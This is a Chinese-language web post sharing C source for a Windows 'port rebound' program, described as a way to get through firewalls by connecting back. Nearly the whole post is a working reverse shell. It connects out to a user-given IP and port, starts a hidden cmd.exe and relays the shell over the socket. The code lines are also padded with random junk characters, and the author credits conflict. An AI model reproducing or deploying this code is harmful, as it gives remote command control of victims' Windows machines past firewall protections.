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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 9{XV=a v  
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/* ============================== wdQ%L4l  
Rebound port in Windows NT ngC^@*XAw9  
By wind,2006/7 0E/,l``p  
===============================*/ +L|-W9"@3  
#include %p8#pt\$7  
#include w)xfP^M#  
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#pragma comment(lib,"wsock32.lib") d9.~W5^fC  
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void OutputShell(); q?bKh*48  
SOCKET sClient; tIL ]JB  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; }MW+K&sIh  
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void main(int argc,char **argv) GfL: 0  
{ .[C@p`DZ  
WSADATA stWsaData; ,]_<8@R  
int nRet; p\ _&  
SOCKADDR_IN stSaiClient,stSaiServer; o ^Ro 54i  
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if(argc != 3) Q> J9M` a  
{ }C<$q  
printf("Useage:\n\rRebound DestIP DestPort\n"); 9UE)4*5  
return; _j}jh[M  
} 7'idjcR  
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WSAStartup(MAKEWORD(2,2),&stWsaData); ) S,f I  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =RjseTS  
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stSaiClient.sin_family = AF_INET; 7L$\S[E  
stSaiClient.sin_port = htons(0); \,-e>  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); pMLTXqL  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) =a!_H=+4  
{ \<W/Z.}/  
printf("Bind Socket Failed!\n"); F6gU9=F1<  
return; y4j\y ? T8  
} H_d^Xk QZ  
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stSaiServer.sin_family = AF_INET; dd:vQOF;  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ZXC_kmBN/  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); }}gtz-w  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 0Q!/A5z  
{ u Xo?  
printf("Connect Error!"); x<\5Jrqt  
return; KK, t!a  
} _o'a|=Osx>  
OutputShell(); |wGmu&fY  
} ^:Fj+d  
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void OutputShell() f:KZP;/[c  
{ \t?rHB3"  
char szBuff[1024]; QyD(@MFxb  
SECURITY_ATTRIBUTES stSecurityAttributes; (qDPGd*1  
OSVERSIONINFO stOsversionInfo; k]9+/ $  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; kV@?Oj.&I,  
STARTUPINFO stStartupInfo; rBZ0Fx$/[  
char *szShell; KuZZKh  
PROCESS_INFORMATION stProcessInformation; sny$[!)  
unsigned long lBytesRead; ?(Ytc)   
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); (Q}ByX  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ErxvGB(2  
stSecurityAttributes.lpSecurityDescriptor = 0; <ZjT4><  
stSecurityAttributes.bInheritHandle = TRUE; W?<<al*  
a[@Y >  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); >9<YQ(  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); iCtS<"@Yx  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ;*njS1@  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uP$C2glyz  
stStartupInfo.wShowWindow = SW_HIDE; rVZlv3  
stStartupInfo.hStdInput = hReadPipe; tP4z#0r2  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; z>z9xG'  
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GetVersionEx(&stOsversionInfo); =d#(n M*  
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switch(stOsversionInfo.dwPlatformId) D-LQQ{!D5  
{ ag6[Nk  
case 1: H @5dj}  
szShell = "command.com"; $V,ZH* g  
break; m,V"S(A  
default: jbWgL$  
szShell = "cmd.exe"; G124! ^  
break; SA%uGkm:e  
} oaG;i51!  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 0( q:K6zI}  
)3.=)?XW  
send(sClient,szMsg,77,0); |cgc^S/~H  
while(1) +h@ZnFp3  
{ oc;4;A-;`c  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); DdqE6qE  
if(lBytesRead) xM=?ES  
{ lQ&J2H<w  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); &Gs/#2XQ  
send(sClient,szBuff,lBytesRead,0); ~rlPS#]o  
} a%r(F  
else 1>L8EImx]V  
{ Zmm6&OZ%  
lBytesRead=recv(sClient,szBuff,1024,0); kK=f@l  
if(lBytesRead<=0) break; @*BVS'\  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); z||FmL{  
} ||Vx:(d7D&  
} `*3;sq%`  
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return; Zi{vEI]  
}
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